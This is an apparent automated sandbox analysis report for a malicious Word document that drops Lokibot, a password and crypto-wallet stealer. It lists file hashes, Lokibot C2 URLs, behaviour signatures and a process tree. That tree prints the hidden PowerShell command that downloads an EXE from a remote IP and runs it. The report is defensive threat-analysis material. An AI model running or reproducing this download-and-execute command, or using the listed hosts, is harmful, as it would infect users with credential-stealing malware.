Analysis

  • max time kernel
    107s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    11-06-2021 03:40

General

  • Target

    Quotation For Products.doc

  • Size

    416KB

  • MD5

    3a99afd85fb1e4bda80f0a8bb2476616

  • SHA1

    2398d29a7cd49968a3ea037821cf864579f20ce8

  • SHA256

    2c44f76d882e07be44cb97ff736b54aa2e531ec45c4ad2fa51438824665f532f

  • SHA512

    066b74b5a80ac126e71ec4be063f8a3aefd668bbda0f766821c660f961b71ec011c243da1eb3d5fa737e8d39bdeb81ceb190045e2777c14115f4e5cabc502022

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://31.210.20.45/1xBet/dgeApp17.exe

Extracted

Family

lokibot

C2

http://209.141.34.39/cap-01/pin.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Quotation For Products.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:472
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h Start-BitsTransfer -Source "http://31.210.20.45/1xBet/dgeApp17.exe" -Destination "C:\Users\Public\Documents\bornskin.exe";C:\Users\Public\Documents\bornskin.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2220
      • C:\Users\Public\Documents\bornskin.exe
        "C:\Users\Public\Documents\bornskin.exe"
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3692
        • C:\Users\Admin\AppData\Local\Temp\bornskin.exe
          C:\Users\Admin\AppData\Local\Temp\bornskin.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:2112

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\bornskin.exe
    MD5

    81f63c8e0fab4d42de5486e88aa5ac74

    SHA1

    f3b3d2fb57e01af4bbcc356a71e8a5abe428491c

    SHA256

    2c4029189010085712385bb7329bf0a10851ddec9c9849e60a94962896fcdfe4

    SHA512

    ef293f7d8b32d3cd2edcbc0620dbf17aadf7f85465e8e864aa15118b9c9255240c9ea2d5215709408a6062c1ead868b71cd8749f12be6f4ddc24c7e1ff20c0bb

  • C:\Users\Admin\AppData\Local\Temp\bornskin.exe
    MD5

    81f63c8e0fab4d42de5486e88aa5ac74

    SHA1

    f3b3d2fb57e01af4bbcc356a71e8a5abe428491c

    SHA256

    2c4029189010085712385bb7329bf0a10851ddec9c9849e60a94962896fcdfe4

    SHA512

    ef293f7d8b32d3cd2edcbc0620dbf17aadf7f85465e8e864aa15118b9c9255240c9ea2d5215709408a6062c1ead868b71cd8749f12be6f4ddc24c7e1ff20c0bb

  • memory/472-115-0x00007FFEB3A10000-0x00007FFEB3A20000-memory.dmp
    Filesize

    64KB

  • memory/472-116-0x00007FFEB3A10000-0x00007FFEB3A20000-memory.dmp
    Filesize

    64KB

  • memory/472-117-0x00007FFEB3A10000-0x00007FFEB3A20000-memory.dmp
    Filesize

    64KB

  • memory/472-119-0x00007FFEB3A10000-0x00007FFEB3A20000-memory.dmp
    Filesize

    64KB

  • memory/472-118-0x00007FFED5190000-0x00007FFED7CB3000-memory.dmp
    Filesize

    43.1MB

  • memory/472-122-0x00007FFED0020000-0x00007FFED110E000-memory.dmp
    Filesize

    16.9MB

  • memory/472-123-0x00007FFECD690000-0x00007FFECF585000-memory.dmp
    Filesize

    31.0MB

  • memory/472-114-0x00007FFEB3A10000-0x00007FFEB3A20000-memory.dmp
    Filesize

    64KB

  • memory/2112-185-0x00000000004139DE-mapping.dmp
  • memory/2112-188-0x0000000000400000-0x00000000004A2000-memory.dmp
    Filesize

    648KB

  • memory/2220-179-0x0000000000000000-mapping.dmp
  • memory/2220-182-0x000002016B116000-0x000002016B118000-memory.dmp
    Filesize

    8KB

  • memory/2220-181-0x000002016B113000-0x000002016B115000-memory.dmp
    Filesize

    8KB

  • memory/2220-180-0x000002016B110000-0x000002016B112000-memory.dmp
    Filesize

    8KB

  • memory/3692-184-0x0000000005680000-0x0000000005681000-memory.dmp
    Filesize

    4KB

  • memory/3692-183-0x0000000000000000-mapping.dmp